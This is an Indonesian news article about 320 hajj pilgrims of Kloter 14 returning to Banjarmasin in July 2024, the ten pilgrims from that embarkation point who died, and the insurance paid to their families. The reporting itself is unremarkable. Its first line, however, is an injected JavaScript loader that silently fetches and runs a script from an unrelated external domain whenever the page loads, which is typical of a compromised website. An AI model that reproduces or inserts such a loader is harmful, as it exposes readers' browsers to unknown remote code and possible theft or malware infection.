(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

10 Syuhada Haji dari Debarkasi Banjarmasin, Semua Jemaah Wafat Mendapat Asuransi

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 320 orang jemaah haji dari Kloter (Kelompok Terbang) 14 Debarkasi Banjarmasin tiba di Tanah Air.

Jemaah haji yang berasal dari Kota Banjarbaru, Kabupaten Hulu Sungai Selatan (HSS), Kabupaten Tanah Laut, dan Kabupaten Banjar, Kalimantan Selatan, memasuki asrama Haji Banjarmasin, Jumat (12/7/2024) pagi.

Para Tamu Allah disambut Petugas Penyelenggara Ibadah Haji (PPIH) Debarkasi Banjarmasin bersama Sekretaris Daerah Kota Banjarbaru Said Abdullah mewakili Wali Kota Banjarbaru.

Ketua PPIH Debarkasi Banjarmasin, Dr Muhammad Tambrin mengatakan, jemaah haji Kloter 14 ada satu jemaah haji meninggal dunia di Arab Saudi pada tanggal 16 Juni 2024 lalu.

Jemaah haji yang wafat ini bernama H Supian Suri Syarkawi (57) yang wafat di Mina pada pukul 06.00 WAS dengan penyebab meninggal dunia Cardiac Arrest.

“Kami laporkan ada satu orang yang wafat, beliau dari Kabupaten HSS, wafat pada tanggal 16 Juni 2024 di Arab Saudi dan telah dimakamkan sebagai syuhada haji di Arab Saudi,” ujar Ketua PPIH Debarkasi Banjarmasin, Jumat (12/7/2024) pagi.

Hingga Jumat 12 Juli 2024, jemaah haji Debarkasi Banjarmasin yang wafat berjumlah 10 orang. Sembilan di antaranya wafat di Arab Saudi dan satu orang wafat di pesawat.

Thambrin menyebutkan bahwa jemaah haji yang wafat mendapatkan asuransi dari Kementerian Agama RI.

“Untuk yang wafat di pesawat juga mendapatkan asuransi dari Garuda Indonesia dan mendapatkan asuransi dari Kementerian Agama, kalau yang wafat di Tanah Suci jelas dari Kementerian Agama,” ungkapnya.

Sementara itu kedatangan jemaah haji asal Kota Banjarbaru disambut Sekretaris Daerah Kota Banjarbaru Said Abdullah. Sekda mengatakan jemaah haji tiba kembali di Kota Banjarbaru dalam keadaan sehat dengan jumlah 140 orang.

“Rangkaian ibadah haji pun diikuti dengan baik oleh jemaah walaupun cuaca di sana sangat tinggi ekstrem, walaupun ada sempat yang sakit sampai opname, tapi setelah itu sehat kembali. Alhamdulillah,” ujar Said Abdullah.

Sadi Abdullah menyebutkan, jemaah haji asal Banjarbaru ini adalah yang pertama kembali ke Tanah Air. Akan ada lagi jemaah haji Banjarbaru selanjutnya akan mendarat pada Senin mendatang.

Ketua Rombongan 7 dari Kloter 14 asal Kota Banjarbaru, Edi Hasbi mengatakan, pelaksanaan haji tahun 2024 sangat luar biasa kemajuannya.

“Karena kita sudah benar-benar dilayani menjadi Tamu Allah, mulai dari konsumsi, transportasi, penginapan, luas biasa lebih maju dari pada 12 tahun yang lalu,” ujar Edi Hasbi.

Memang tak bisa dipungkiri, kata dia, ada beberapa jemaah haji yang sakit akibat cuaca ekstrem yang melanda Arab Saudi.

Kendati demikian dirinya mengepreasiasi penangananya oleh petugas-petugas kesehatan yang telah melayani dengan sepenuh hati.

“Alhamdulillah bisa ditangani dengan petugas-petugas kesehatan kita yang luar biasa juga ontime dan standby 24 jam di daerah sana,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: kk